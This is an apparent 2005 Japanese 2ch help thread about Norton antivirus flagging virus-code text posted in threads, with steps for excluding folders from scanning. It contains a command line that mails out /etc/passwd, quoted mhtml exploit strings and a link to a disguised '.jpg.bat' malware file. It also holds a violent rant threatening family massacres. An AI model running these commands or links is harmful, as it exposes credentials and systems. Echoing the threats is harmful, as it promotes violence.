ノ ノヽ |ヘ |
ノノ <
あるある探検隊!
_(Д´ ) _(Д´ )
ヘ| |\ ヘ| |\
< <
あるある探検隊!
( `Д)_ ( `Д)_
/| |ヘ /| |ヘ
> >
- 75 :ひよこ名無しさん:2005/04/25(月) 01:12:19 ID:???
- ウイルス対策ソフトの検出力調査結果
http://www.geocities.jp/stealrush/security.html
- 76 :ひよこ名無しさん:2005/04/27(水) 04:32:31 ID:???
- http://news18.2ch.net/test/read.cgi/anime/1114540249/の
>>17の奴のウイルスってどうやって除外するんですか?本気でむかつきます
- 77 :ひよこ名無しさん:2005/04/29(金) 17:10:59 ID:EryoL680
- >>71
初心者はテンプレ読んでも何を言っているのかが分からなかったりするので
こういう細かい解説、感謝します。
っていうか大空寺死んで欲しい。(´・ω・`)
- 78 :ひよこ名無しさん:2005/04/29(金) 18:11:53 ID:xmX9upML
- >>77
透明あぼーんで存在を消し去りましょう。スッキリするよ
- 79 :ひよこ名無しさん:2005/04/29(金) 18:38:53 ID:EryoL680
- >>78
透明あぼーんではノートンの反応はおさまらなかったんです。
なにやらメール欄に変なものを書き込んでいるようで。
- 80 :cen ◆Pm9xOTJuM. :2005/04/29(金) 18:42:27 ID:??? ?###
- >>79
>>17のを使うと、メール欄のものでも消し去ります。
- 81 :ひよこ名無しさん:2005/04/29(金) 18:44:17 ID:???
- >>79
>>71の手順でノートンの誤反応を解消し、専ブラの透明あぼーんで
糞コテやウイルス厨を見えなくするって意味。
分かりにくくてスマソ
- 82 :ひよこ名無しさん:2005/04/29(金) 19:58:14 ID:EryoL680
- >>80
>>81
いろいろとありがとうございました。
あいつら(大空寺とかネオとか)どうにかならないもんですかね…
- 83 :ひよこ名無しさん:2005/05/01(日) 13:50:58 ID:beE/OXQq
- XPにはNorton AntiVirusインストールできたのに、98にはできない。
98のウイルススキャン(無償)で感染ファイル35ってでたけど
これをどうすればいいの?
- 84 :ひよこ名無しさん:2005/05/05(木) 01:29:28 ID:???
- Live2chでUnixPenguinがうざい場合
(1)タスクトレイに入っているNorton AntiVirusのアイコンを右クリック
(2)「Norton AntiVirusの設定」をクリック
(3)左側にある「Auto-Protect」をクリック
(4)その下に出てきた「除外」をクリック
(5)「除外する項目」の「新規」をクリック
(6)「C:\Program Files\Live2ch\log」と入力し、「サブフォルダも含める」にチェックを入れ、「OK」をクリック
(6)「C:\Program Files\Live2ch\temp.htm」も追加する。
(7)左側にある「Auto-Protect」をクリック
(8)(4)〜(6)をもう一度繰り返す
(9)設定画面が消えるまで「OK」をクリックする
- 85 :cen ◆Pm9xOTJuM. :2005/05/05(木) 01:48:13 ID:??? ?##
- あ、そうそう。
>>17のプログラムを更新しましたです。
- 86 :ひよこ名無しさん:2005/05/06(金) 13:08:01 ID:???
- その他→脅威カテゴリでも「除外」が出てくるけどここは設定しなくていいの?
って、脅威カテゴリで何をしてくれるのかのかよくわからない。(NIS2005)
>>71 >>84
>(7)左側にある「Auto-Protect」をクリック
(7)左側にある「手動スキャン」をクリック ・・・じゃないのかな。
- 87 :ひよこ名無しさん:2005/05/06(金) 13:10:11 ID:???
- 大体、「除外」する項目をAuto-Protectと手動スキャンで
分けている理由がわからない。NIS2002の設定は簡単だった。
- 88 :ひよこ名無しさん:2005/05/08(日) 22:01:59 ID:???
- ttp://info.2ch.net/wiki/pukiwiki.php?%A5%CE%A1%BC%A5%C8%A5%F3%C6%FE%A4%EC%A4%BF%A4%E9%A3%B2ch%A4%CB%BD%F1%A4%AD%A4%B3%A4%E1%A4%CA%A4%A4%BF%CD%A4%D8
- 89 :ひよこ名無しさん:2005/05/11(水) 23:56:43 ID:TkQmWlam
- cat /etc/passwd | mail nobody
これが反応するのか?
- 90 :ひよこ名無しさん:2005/05/12(木) 00:23:51 ID:???
- >>89
見事にUnixPenguinと判定してくれた
- 91 :ひよこ名無しさん:2005/05/13(金) 19:15:33 ID:???
- f
- 92 :ひよこ名無しさん:2005/05/18(水) 02:51:07 ID:iHDhJttO
- >>84
Live2chでUnixPenguinがうざい場合
IEでうざい場合はどうすればよろしいのでしょうか?????
- 93 :ひよこ名無しさん:2005/05/18(水) 02:53:32 ID:???
- >>92
IEで2ちゃん見るなよ。
- 94 :ひよこ名無しさん:2005/05/18(水) 03:04:55 ID:iHDhJttO
- >>93
え???
ダメなんですか???
すみません・・・
初心者なもので・・・
詳しく教えていただけませんか・・・
- 95 :ひよこ名無しさん:2005/05/18(水) 03:09:44 ID:???
- >>94
ダメじゃないけど、専用ブラウザのほうがずっと便利。
どこまで読んだかわかるし、ログはずっと残せるし、
新着分だけダウンロードするから速いし、軽いし。
- 96 :ひよこ名無しさん:2005/05/18(水) 03:13:22 ID:iHDhJttO
- >>95
ありがとうございます。
勉強になりました。
今日はウイルスが出てかなりテンパりました(苦笑)
また明日からがんばります!
でしつこいんですが、
IEでうざい場合はどうすればよろしいのでしょうか?
- 97 :ひよこ名無しさん:2005/05/18(水) 03:17:42 ID:???
- >>96
IEの一時フォルダを除外すれば警告は出なくなるが、
ほかのサイトで感染してしまう。
- 98 :ひよこ名無しさん:2005/05/22(日) 02:22:35 ID:GqakRWGu
- 勇気が無くて見られない画像解説スレ Part702
http://etc3.2ch.net/test/read.cgi/entrance/1116419123/
すいません、↑のスレッドをLive2chで開いただけで
発生源:C:\Documents and Settings\kousuke\Local Settings
\Temporary Internet Files\Content.IE5\MVAP076F\woid[1].jpg
Trojan Horse
とか出るんですけど、誤反応ですか?
vbsのウィルスコードと大空寺のメール蘭攻撃は
除外しているはずなんですが。
ありえないとは思いますがて開いただけで感染したんですか?
Trojan Horse
ウィルス名:
Trojan Horse
別名:
感染場所:
.EXE ファイル
- 99 :ひよこ名無しさん:2005/05/22(日) 02:28:48 ID:???
- >>98
そのファイルはjpgじゃなくて、exeということらしい。
誤反応ではなくて、本物。
スレを開いただけでは感染しないけど、
その画像ファイルをIEで開くと感染する可能性がある。
- 100 :98:2005/05/22(日) 02:46:42 ID:GqakRWGu
- >>99
おそらく原因のレスは
http://etc3.2ch.net/test/read.cgi/entrance/1116419123/899-
だと思いますが、これ画像そのものはクリックしてないんですが
ただスレッドを開いた瞬間ノートン先生が激しく怒ったス
ログを見ても
アクセスが拒否されました。
修復できませんでした。
としか出てません。
最新のウィルス定義ファイルを落とさないと駆除できないみたいですが、
これは最近のということでしょうか?
そして、今自分のPCにTemporary Internet Filesや
他の場所にウィルスが潜伏してるということはないんでしょうか?それを開くとアウツみたいな。
- 101 :ひよこ名無しさん:2005/05/22(日) 02:49:13 ID:???
- >>100
そこの899だよ。
でも、ノートンが隔離してるはず。
そうでなくても、IEの一時ファイルをクリアして、ごみ箱を空にするだけでいい。
- 102 :98:2005/05/22(日) 02:51:49 ID:GqakRWGu
- >>101
レスサンクス
この.jpgブラクラは最近登場したんでしょうか
これからまた誤反応する人とかいっぱいでるんでしょうか
- 103 :ひよこ名無しさん:2005/05/22(日) 02:52:55 ID:???
- >>102
だから、誤反応じゃないって言ってるのに。
- 104 :98:2005/05/22(日) 02:57:16 ID:GqakRWGu
- モノホン反応ですか、ノートン使ってる人は
反応でますよね?どうするんでしょうかこれ
- 105 :98:2005/05/22(日) 03:04:15 ID:???
- あ、ノートン使ってても
画像ポップアップ有効にしてないと意味ないのか
- 106 :ひよこ名無しさん:2005/05/22(日) 03:05:41 ID:???
- >>104
Q.画像プレビューや画像ポップアップでアンチウィルスソフトが反応する事がある
A.画像プレビューも画像ポップアップもイメージタグで表示するだけなので、
仮にそれがウイルスだったとしても、あくまで画像として処理され、
ウイルスのコードが実行される事はないので安全。気にする事なし。
- 107 :98:2005/05/22(日) 03:06:20 ID:???
- >>106
サンクス、どうもでした(=゚ω゚)ノシュ
- 108 :ひよこ名無しさん:2005/05/22(日) 21:11:27 ID:zQU5xhse
- テスト
- 109 :ひよこ名無しさん:2005/05/23(月) 00:27:44 ID:C8+JokU/
- ms-its:mhtml:file://c:\
kak.hta';ken=wdt'START
この二つに激しくノートンが反応するんですが
これも誤反応ですか?vbsとは違う種類みたいですが
- 110 :ひよこ名無しさん:2005/05/23(月) 00:30:33 ID:???
- >>109
誤反応
ただの文字列では何も出来ない。
- 111 :ひよこ名無しさん:2005/05/23(月) 00:38:46 ID:???
- >>110
sankusu
- 112 :ひよこ名無しさん:2005/05/23(月) 00:39:33 ID:???
- >>109
- 113 :ひよこ名無しさん:2005/05/23(月) 12:52:25 ID:???
- age
- 114 :ひよこ名無しさん:2005/05/23(月) 21:27:57 ID:AIqAZiI7
- すみません。初心者スレッドから誘導されてきました。
このスレに来る時もそうでしたが、あるスレに行くと
ノートンが反応して「修復できません」と表示されます。
結果「Bloodhound.Exploit.6」を検疫することで
通常の状態に戻るようなのですが、
「Bloodhound.Exploit.6」ファイルを検疫項目の中から
右クリックで削除してもよいものでしょうか?
どなたか教えてください。お願いいたします。
- 115 :ひよこ名無しさん:2005/05/23(月) 21:31:20 ID:???
- まず専ブラ入れれ
- 116 :114:2005/05/23(月) 21:44:11 ID:AIqAZiI7
- >>115
はい。検討します。これ↓
「Bloodhound.Exploit.6」ファイルを検疫項目の中から
右クリックで削除してもよいものでしょうか?
についてはどうでしょうか?
- 117 :ひよこ名無しさん:2005/05/23(月) 21:49:16 ID:???
- それはすべきじゃないから
専ブラ入れてからログのフォルダを除外設定にするのよ
このへんよめ
ttp://www.sannet.ne.jp/storage/exclude/norton.html
- 118 :114:2005/05/23(月) 22:07:32 ID:AIqAZiI7
- >>117
なるほど、そうですか。
どうもありがとうございました。
- 119 :ひよこ名無しさん:2005/05/24(火) 11:39:34 ID:xooP0kni
- 青空さんは山田砲撃たれたことないの
もういっぺん感染してほしいの
- 120 :ノtasukeruyo:2005/05/24(火) 16:56:41 ID:1JBRx0B0
- >>117
>114と同様の警告がでます。
どういったウイルスなのでしょうか。
http://tmp5.2ch.net/test/read.cgi/mog2/1116912441/ >>4
で拾ったようなのですが
スレ違いだったらごめんなさい。
- 121 :ひよこ名無しさん:2005/05/24(火) 16:59:06 ID:???
- >>120
ttp://www.google.co.jp/search?hl=ja&q=Bloodhound.Exploit.6&lr=lang_ja
- 122 :120:2005/05/24(火) 17:00:31 ID:???
- 専ブラはJane派生系使ってます
- 123 :120:2005/05/24(火) 17:03:19 ID:???
- >>121
ありがとうございます。m(__)m
- 124 :ひよこ名無しさん:2005/05/25(水) 00:18:25 ID:???
- 先日脳豚先生が誤動作したんだけど、そんときに「Bloodhound.Exploit.6」
ってのが誤検出されたんだが、誤検出だっつってんのに
納得しないやからがいる。
どっかで↑みたいなのが検出されても誤動作だって
わかるように解説してるページない?
- 125 :ひよこ名無しさん:2005/05/25(水) 00:22:44 ID:???
- >>1
- 126 :ひよこ名無しさん:2005/05/28(土) 00:50:41 ID:tmw7KRqu
- UnixPenguinと言う名のウィルスが5/6に感染していた事が先ほどわかり
ファイルを削除 しかしパソを再起動したらそのファイルがありました
ファイルを削除したら普通消えるのでは?
5/6に感染してたって事は、20日以上気づかないで放置って事は・・・ヤバイ?
- 127 :ひよこ名無しさん:2005/05/28(土) 00:52:54 ID:???
- >>126
まさか「誤反応」の意味がわからない?
- 128 :ひよこ名無しさん:2005/05/28(土) 00:55:51 ID:tmw7KRqu
- 誤反応???まじで?
アタッマきたんでまたファイル消したら完全にファイル消えたよw
- 129 :ひよこ名無しさん:2005/05/29(日) 11:51:31 ID:???
- (・∀・)スンスンスーン♪
- 130 :ひよこ名無しさん:2005/05/29(日) 11:55:12 ID:???
- ( ゚д゚)ハッ!
- 131 :ひよこ名無しさん:2005/05/30(月) 14:53:36 ID:???
- とあるスレを見ようとするとノートン先生が反応します。
ウィルス「MHTML Redir.Exploit」
実害は無い感じなので
反応したと思われるlogを削除しただけですが
これもまた誤反応なのでしょうか?
- 132 :ひよこ名無しさん:2005/05/30(月) 14:59:34 ID:???
- ちなみにギコなびを使っています。
- 133 :ひよこ名無しさん:2005/05/30(月) 18:45:45 ID:???
- 失礼します。
IEを使用していますが、板や特定スレを開くとウイルス反応がでます。
削除しようとしても削除できないため、除外しておいていますが
問題はないんでしょうか?
削除も検疫など有効と思われることが出来ないのでしょうがなく
除外している状態です。上の方で削除のことがでてますが削除しないと問題ありますか。
- 134 :ひよこ名無しさん:2005/05/30(月) 23:34:04 ID:???
- >>133
多分ウイルスに似たコードを載せている為にウイルスと誤認識して反応しているだけですよ。
- 135 :ひよこ名無しさん:2005/05/30(月) 23:36:25 ID:???
- なんだか>>40と同じ症状です。
症状というのは【Unix Penguin】というウイルスコードが最近になって反応するようになりました。
専ブラのフォルダはサブフォルダ含めてAuto-Protectと手動スキャンの除外項目に確実に入っています。
その為、その場所は反応しないのですが一時ファイル(キャッシュ)の場所が反応しています。
一時フォルダも除外指定すれば簡単なんですけど、他のサイト閲覧する時とか
安置ウイルスの役割してくれないらしいので除外したくありません。
今まで一時ファイルは反応しなかったのに今更反応するのが、どうしてなのか分かりません。
専ブラはJANE使用。Norton AntiVirusは10.0.10.13gバージョン使用。
因みにOSはXPのHOMEです。アドバイスおねがいします。
- 136 :ひよこ名無しさん:2005/05/31(火) 10:18:11 ID:???
- >>134
レスありがとうございます。
Auto-Protectでひっかかるんですが>>39を読むと除外でも
問題なさそうですね・・・?大丈夫かな。
ただ>>135を読むと除外もよくないみたいでどうしたらいいのかとも思う。
- 137 :名無しさん@お腹いぱーい。:2005/05/31(火) 12:22:06 ID:??? ?#
- >>135
> なんだか>>40と同じ症状です。
> 症状というのは【Unix Penguin】というウイルスコードが最近になって反応するようになりました。
> 専ブラのフォルダはサブフォルダ含めてAuto-Protectと手動スキャンの除外項目に確実に入っています。
スレッドタイトルに反応したんじゃないかな。
http://info.2ch.net/wiki/pukiwiki.php?%A5%CE%A1%BC%A5%C8%A5%F3%C6%FE%A4%EC%A4%BF%A4%E9%A3%B2ch%A4%CB%BD%F1%A4%AD%A4%B3%A4%E1%A4%CA%A4%A4%BF%CD%A4%D8#faq08
Janeの場合はfavorites.dat
ε三(; ・∀・)鯖マデオツカイの場合result.datを除外に加えてね。
> その為、その場所は反応しないのですが一時ファイル(キャッシュ)の場所が反応しています。
> 一時フォルダも除外指定すれば簡単なんですけど、他のサイト閲覧する時とか
> 安置ウイルスの役割してくれないらしいので除外したくありません。
> 今まで一時ファイルは反応しなかったのに今更反応するのが、どうしてなのか分かりません。
> 専ブラはJANE使用。Norton AntiVirusは10.0.10.13gバージョン使用。
> 因みにOSはXPのHOMEです。アドバイスおねがいします。
ブラウザでスレを開いたんじゃないかな。
>>10で一時ファイルの削除の仕方があるので見てね。
>>136
IEの一時ファイルを除外にしないで
2ちゃんねるブラウザのログフォルダを除外にしてください。
>>135>>136
2ちゃんねるブラウザのより細かい設定はそれぞれの2ちゃんねるブラウザのスレで確認してね。
ソフトウェア
http://pc8.2ch.net/software/
- 138 :ひよこ名無しさん:2005/05/31(火) 19:09:47 ID:Smprwa5o
- 初歩的な質問なんですが教えてもらえませんか?
何故ノートンだけが反応するんですか?
ノートンで反応したファイルを消さず、ウィルスバスターに反応するか試しましたが、反応なしでした。
【Unix Penguin】は、ウィルスなんですよね?
なのに何故・・・?
- 139 :ひよこ名無しさん:2005/05/31(火) 19:18:29 ID:???
- 先生はよく間違えますが本物を逃すこともありません
- 140 :ひよこ名無しさん:2005/05/31(火) 19:20:25 ID:???
- >>138
ノートンは、ごく一部の文字列がファイルに含まれてるだけでウイルスと診断してるから。
判定の手抜きと言っていい。
もちろん、2ちゃんのログがウイルスとして機能する可能性は皆無。
- 141 :138:2005/06/01(水) 22:06:01 ID:9OpZge8m
- >>140
レスありがとう
それにしてもこんなイタズラいったい誰が・・・
- 142 :ひよこ名無しさん:2005/06/01(水) 22:49:26 ID:???
- >>131
まったく同じような症状がでます。
自分はブラウザをjaneを使っているんですが、
ノートンのオンラインスキャンをすると、
C:...\openjanedoe-0.1.11.0\Logs\2ch\ネット関係\セキュリティ\数字.dat は
MHTMLRedir.Exploit に感染しています
と出ます。何度やっても。
これは感染しているのか?それとも誤反応なのか?
物凄い不安です。ノートン以外では反応しないので。
- 143 :cen ◆Pm9xOTJuM. :2005/06/01(水) 23:47:27 ID:??? ?##
- >>142
>>17のでdatのスクリプトを無効化してみるといいかもです。
- 144 :ひよこ名無しさん:2005/06/04(土) 14:57:06 ID:??? ?##
- 除外をログフォルダだけじゃなく、C\ProgramFile\Live2chにしたんだけど
危険かなぁー。
- 145 :ひよこ名無しさん:2005/06/04(土) 15:13:05 ID:???
- >>144
ログだけにしといた方がいい
- 146 :ひよこ名無しさん:2005/06/07(火) 21:55:56 ID:???
- わぁ、それらしいレスの内容をメモ帳に貼り付けて保存した瞬間、ノートン先生に持ってかれちゃったよぅ!
- 147 :ひよこ名無しさん:2005/06/08(水) 10:11:07 ID:???
- ttp://www.uploda.org/file/uporg121567.wmv
- 148 :ひよこ名無しさん:2005/06/08(水) 10:11:48 ID:???
- 147誤爆ですごめんなさい
- 149 :ひよこ名無しさん:2005/06/08(水) 22:39:06 ID:???
- age
- 150 :ひよこ名無しさん:2005/06/09(木) 06:32:01 ID:/DokQMWm
- ノートパソコンなんですが、キーボードの隙間にゴミが入ってキーが押しにくくなって困る
- 151 :ひよこ名無しさん:2005/06/09(木) 22:09:48 ID:c+f8GHIp
- パソコンの電源入れると最初にseeqという検索サイトが出る
ようになっちまいました。以前はMSNだったんですけど、昔の体に
戻れますか?戻し方教えてください
- 152 :ひよこ名無しさん:2005/06/09(木) 22:24:05 ID:???
- >>151
スレ違いだけど、システムの復元で直前の日付に戻せ。
- 153 :ひよこ名無しさん:2005/06/09(木) 22:45:34 ID:c+f8GHIp
- スレ違いですか、すみません。パソコン初心者なん
システムの復元ってどうやるんですか?
- 154 :ひよこ名無しさん:2005/06/09(木) 22:46:44 ID:???
- >>153
http://www.google.co.jp/search?hl=ja&q=%E3%82%B7%E3%82%B9%E3%83%86%E3%83%A0%E3%81%AE%E5%BE%A9%E5%85%83&lr=lang_ja
- 155 :ひよこ名無しさん:2005/06/09(木) 22:48:38 ID:???
- ありがとうございます がmばってみます
- 156 :ひよこ名無しさん:2005/06/09(木) 22:51:53 ID:???
- 最近また急激に増えたな。
ウイルスバスターloveのやつらのしわざか?
- 157 :151:2005/06/09(木) 22:54:18 ID:???
- OSが2000なんですけど… 復元できないみたいです
- 158 :ひよこ名無しさん:2005/06/09(木) 22:55:26 ID:???
- >>157
リカバリしろ
- 159 :151:2005/06/09(木) 22:58:46 ID:???
- リカバリってお金出して修理みたいですね…
- 160 :ひよこ名無しさん:2005/06/09(木) 22:59:32 ID:???
- >>159
自分でできる。取扱説明書を150回嫁
- 161 :151:2005/06/09(木) 23:02:46 ID:???
- 読みます!
最近外国のサイトの広告みたいのが表示されることがあって…
リカバリでその辺も治りますか?
- 162 :ひよこ名無しさん:2005/06/09(木) 23:09:30 ID:???
- >>161
直る
- 163 :ひよこ名無しさん:2005/06/09(木) 23:09:42 ID:???
- >>161
基本的には、リカバリで買った時と同じ状態になる。
従って、データは全部消えるので、気をつけて。
- 164 :151:2005/06/09(木) 23:14:51 ID:???
- ありがとうございました!
今度はデータのバックアップについて勉強しないといけなそうですね。
ちなみに何の広告なんですかねこれ↓
http://adserver.sharewareonline.com/AdServer/RegClean/Exact/landing_EAL.htm
ダウンロードしろって感じで頻繁に表示されるんです
- 165 :ひよこ名無しさん:2005/06/10(金) 19:44:30 ID:Z3xy6uEy
- スミマセン。他のスレから誘導されてきました。
VIP板をリロードすると毎回ノートン先生がウイルス警告してくるんですがなぜですか?
ウイルス名 Bloodhound.Exploit.6
適用した処理 ファイルを修復できません。
と出てOKを押した後に
ウイルス名 Bloodhound.Exploit.6
適用した処理 ファイルへのアクセスが拒否されました。
とでます。
VIP以外の板ではこのような警告は出ません。ノートンは2005年の新しいやつです。
ウイルススキャンしてみましたが問題ありませんでした。
OSはXPです。
よろしくです。
- 166 :ひよこ名無しさん:2005/06/10(金) 20:58:43 ID:???
- このスレの最初のへん読めばわかるよ
- 167 :165:2005/06/12(日) 02:06:13 ID:CFzaInzJ
- >>166
あの。。。いろいろみましたけど専門用語ばかりでよくわかりません。
半年ROMはすでに経験墨です。
できたら詳細も教えていただきたいのですが。
- 168 :ひよこ名無しさん:2005/06/12(日) 02:08:54 ID:???
- >>167
ノートン捨てるんだ。
- 169 :ひよこ名無しさん:2005/06/12(日) 14:33:06 ID:???
- >>167
>7
- 170 :165:2005/06/12(日) 14:54:46 ID:Yt6W8JkL
- 普通に感染されてました。。。
検疫というのをしたら問題のファイルがどっかいったみたいです。
- 171 :ひよこ名無しさん:2005/06/13(月) 00:20:19 ID:vyhhOQ6i
- http://sakura01.bbspink.com/test/read.cgi/ascii/1118577161/
ここのウイルスコードで出来たスレタイをクリックしてから、
すべての板で書き込むたびに誤作動をおこします・・・・
それでここへたどりついたのですが、
>NAV2003以降はNorton Anti Virusのオプションで手動スキャンとAuto-Protectでそれぞれ除外の指定をして下さい。
これって具体的にどうすればいいのでしょうか?
・オートプロテクト
・除外
・除外する項目
とまでは出来たのですが、最後の「除外する項目」に何かを入れるのですか?
それとも項目を削除するのですか?
何を入れたらいいのか、何を削除すればいいのか教えてください・・・。
今現在の項目はこの3つです
*.dbx
*.nch
*.sysutem volume information
ライブ2ちゃん使用です。
- 172 :ひよこ名無しさん:2005/06/13(月) 00:22:19 ID:???
- >>171
ログのあるフォルダーのバスを追加する
- 173 :ひよこ名無しさん:2005/06/13(月) 00:25:28 ID:vyhhOQ6i
- >>172
よければ手順を・・・・まったく意味が分かりません・・・・
- 174 :ひよこ名無しさん:2005/06/13(月) 01:00:06 ID:vyhhOQ6i
- >>7を参考に、
Cドライブ→プログラム→ライブ2ちゃん→ログ
とういう感じでログをノートンの除外に選択したら、半角板を開いただけでノートンが反応することはなくなりました。
しかし、すべての板で書き込むたびにノートンが反応するっていうのは直りません。
どうすればいいですか?
- 175 :ひよこ名無しさん:2005/06/13(月) 01:04:12 ID:vyhhOQ6i
- 「kakikomi」というのも除外に選択したらなおりました。おさがわせいたしました。
- 176 :ひよこ名無しさん:2005/06/13(月) 01:53:23 ID:vyhhOQ6i
- 半角を踏んだらウイルス反応(誤作動)する方へ
専用ブラウザlive2chとノートンを使ってる方へ
http://sakura01.bbspink.com/test/read.cgi/ascii/1118594197/
- 177 :名無しさん@お腹いぱーい。:2005/06/13(月) 15:14:46 ID:ZBKBALPS ?##
- てす
- 178 :名無しさん@お腹いぱーい。:2005/06/13(月) 16:16:31 ID:??? ?##
- >>171-176
乙
ノートントラップ
http://ansitu.xrea.jp/guidance/?Trap#NortonTrap
Q8.2ちゃんねる専用ブラウザでノートンを使うと今まで取得したログが抹消されてしまい、スレを再表示した時全てが新しいレスになってしまいます、どうすれば解決できるでしょうか?
http://ansitu.xrea.jp/guidance/?NortonInternetSecurity#faq08
※スレタイがノートントラップのスレに書き込んだ場合、書き込み履歴も反応します。
2chWikiは申請中。
- 179 :ひよこ名無しさん:2005/06/13(月) 21:20:42 ID:IDZd2XHn
- 乙
- 180 :ひよこ名無しさん:2005/06/13(月) 21:42:48 ID:+eHKR6hW
- ノートンがvbsウィルスのソースに誤反応、
ってスレタイにもあるけど、ビューア経由でも反応するんですか?
スレによっては、IEと使い分けてるんですが、ビューアで開いた時に
限って怒られるんです・・・。
- 181 :ひよこ名無しさん:2005/06/13(月) 21:44:03 ID:???
- ノートン捨てちゃえ
- 182 :ひよこ名無しさん:2005/06/13(月) 21:49:48 ID:???
- >>175
ウイルスを書き込んだのですか、ああ、そうですか。
- 183 :180:2005/06/13(月) 21:55:46 ID:???
- >>176
ご回答ありがとうございます!助かりました(←大馬鹿)!
- 184 :ひよこ名無しさん:2005/06/14(火) 15:17:13 ID:???
- >>170
詳しく。
漏れも同じ症状でビビってる。
- 185 :ひよこ名無しさん:2005/06/14(火) 15:43:32 ID:???
- >>184
>>178
- 186 :ひよこ名無しさん:2005/06/15(水) 07:07:41 ID:MyWTZaCo
- 祭り中でーすw
http://www.bonotto.jp/news/img/newstT41RK.jpg
韓国の小学生が描いた絵
http://society3.2ch.net/test/read.cgi/korea/1118763706/
- 187 :縞んてっく:2005/06/15(水) 09:22:16 ID:???
- 脳豚を入れているユーザは2ちゃんを見ないようにしてください。
- 188 :ひよこ名無しさん:2005/06/15(水) 15:31:52 ID:???
- avast!入れてる貧乏人の俺はどうですか?
- 189 :ひよこ名無しさん:2005/06/15(水) 21:11:20 ID:MbvAfu2/
- ttp://fuckingreset.cesarsoft.com.ar/files/virus/!!!!!!!!!christinexhot.jpg.bat
ウィルス注意↑
これ多分ウィルスですが、貼られたスレッドを開いただけでノートン反応します
これも>>98同様、誤反応ですよね?
- 190 :ひよこ名無しさん:2005/06/15(水) 22:55:11 ID:???
- (((((((( ;゚Д゚)))))))ガクガクブルブルガタガタブルガタガクガクガクガクガク
- 191 :名無しさん@お腹いぱーい。:2005/06/18(土) 23:57:40 ID:??? ?##
- http://pc8.2ch.net/test/read.cgi/sec/1118586631/5
Q. 2chのスレを2chブラウザで開くと、ウイルスを検出するんだけど
A. avast!はノートンと同じく、ウイルスコードも検出する。
ただのテキストのコードなのでウイルスに感染することはない悪戯行為だから気にしないで大丈夫。
誤検出しないようにするには、以下の2通りの方法がある。
・avast!の標準シールドの感度を [普通] に設定 or avast!の標準シールドの例外設定に2chブラウザのdatフォルダを設定
・2chブラウザでWebシールドを使わないように設定
http://info.2ch.net/wiki/pukiwiki.php?%A5%CE%A1%BC%A5%C8%A5%F3%C6%FE%A4%EC%A4%BF%A4%E9%A3%B2ch%A4%CB%BD%F1%A4%AD%A4%B3%A4%E1%A4%CA%A4%A4%BF%CD%A4%D8#faq12
>>189
それだけではわかりません。
そのようなリンクを貼られるようなスレではノートントラップも貼られていたのかもしれませんし、
あなたがリンク(他にも同様な悪意あるリンク)を踏んでいて反応したのかも
(2ちゃんねるブラウザによっては画像サムネイル機能が働いて画像ファイルに偽装されたウイルスに反応することがあります。・・・正常な反応です。)
リンクを不用意に踏まないことも肝心です。
>>4
尚、ここはウイルス鑑定スレではありません。
危ないと思ったURLはラウンジ板等の”勇気が無くて見られない画像解説スレ”で診てもらいましょう。
http://find.2ch.net/?STR=%CD%A6%B5%A4%A4%AC%CC%B5%A4%AF%A4%C6+%B2%F2%C0%E2%A5%B9%A5%EC&COUNT=50&TYPE=TITLE&BBS=ALL
- 192 :ひよこ名無しさん:2005/06/20(月) 18:43:13 ID:???
- ひろゆきは2ch総合案内に対処法載せてくれないの?
初心者はこんな所見ないと思うのだが…
- 193 :ひよこ名無しさん:2005/06/20(月) 19:34:26 ID:???
- >>192
そんなこと書かなくても、根本的に対策できるのに3年以上放置。
ノートンも放置。
そんなもんさ。
- 194 :ひよこ名無しさん:2005/06/20(月) 20:01:35 ID:???
- サイトの問題ではなくて、ノートンとそのユーザーの問題だからでしょ。
どうしても見て欲しい、書き込みして欲しいと思えばそういうこともするだろうけど、
めんどくさいから、対策できない人は切捨てって考えてるんでしょ。
- 195 :ひよこ名無しさん:2005/06/22(水) 01:42:06 ID:???
- ニュース速報みてたらノートン先生が激怒しました!今、スキャン中何かすごい不安
- 196 :ひよこ名無しさん:2005/06/22(水) 01:50:09 ID:???
- 年取ると怒りっぽくなるよね
- 197 :ひよこ名無しさん:2005/06/22(水) 01:59:11 ID:???
- ハァ?
- 198 :ひよこ名無しさん:2005/06/22(水) 06:30:50 ID:???
- まぁ今危ぶまれている年間自殺者3万人なんていうのもさぁ
何だかんだ言ってお友達と楽しく戯れていた全共闘世代のジジイがほとんどで
そんな奴らのノスタルジーとニートの絶望的な孤独を一緒にされちゃあかなわないよね。
まぁ政府も腹の底じゃあ、このままズルズルと大人になって勝手に死んでくれりゃあ本望
とか思ってるだろうケドさあ、俺達には一人一人明確な敵がいるんだよね。
原因があっての結果。
勉強しなきゃ立派な大人になれませんよなんて乳幼児でも知ってることを
やらなかったらこうなった、なんて言い切れるほど楽天家じゃないんだよね。
アホみたいな受験戦争、家畜のような体罰教育、友達からの陰湿なイジメ、見知らぬ大人のいやがらせ
バブル期に子供にだけ苦労させて親やセンセや同級生は泡まみれで遊び放題。
敷かれたレールの先に娯楽があると鞭打たれ、苦難を乗り越えたどり着いたら就職難。
ゴミのように切り捨てられていく俺らの10代、20代。
いつの間にか自分より馬鹿が出世して、自分よりブサイクが結婚し、自分より足の遅いヤツがオリンピックに出ている。
両親を恨む者、先生の居所を探す者、同僚の近況を探る者、誰でもいいから殺してやりたいと思っている者
そんなヤツらがじっと己の部屋で計画を練っている。
まぁはっきり言わせてもらえば、あんたら、幸せ家族を気取っているのも今のうちだね。
鬱ブームだかなんだか知らないが、テレビ一つ落ち着いて見られなかったような俺らに
勝者、敗者とか貧乏さん番組なんてメディア戦略は通用しないね。
殺されるまえに、必ず殺す。
そう、この先10年。
被害者の過去2-30年を遡らないと犯人が割り出せない
そんな一家まるごと惨殺事件が続くだろうね・・
- 199 :ひよこ名無しさん:2005/06/22(水) 14:52:29 ID:???
- age
- 200 :ひよこ名無しさん:2005/06/23(木) 20:20:22 ID:???
- >>192
ひろゆきは初心者大嫌い
ひっかかって嘆くユーザーをみてニヤニヤしてます
それが嫌なら来るなって考え
- 201 :ひよこ名無しさん:2005/06/24(金) 11:57:13 ID:???
- 先生が反応しBloodhound.Exploit.6が出現!
みなさんどう?
- 202 :ひよこ名無しさん:2005/06/27(月) 15:24:14 ID:???
- age
- 203 :ひよこ名無しさん:2005/06/28(火) 21:44:54 ID:???
- >>201
前にそれありましたけど。(当方Jane Doe Style)
反応した部分の過去ログ捨てたら何も問題なかったですよ。
- 204 :ひよこ名無しさん:2005/06/28(火) 21:49:26 ID:???
- >>201
それはログのウイルスコードに反応してるだけだからむっしっし
- 205 :ひよこ名無しさん:2005/06/29(水) 10:53:00 ID:???
- age
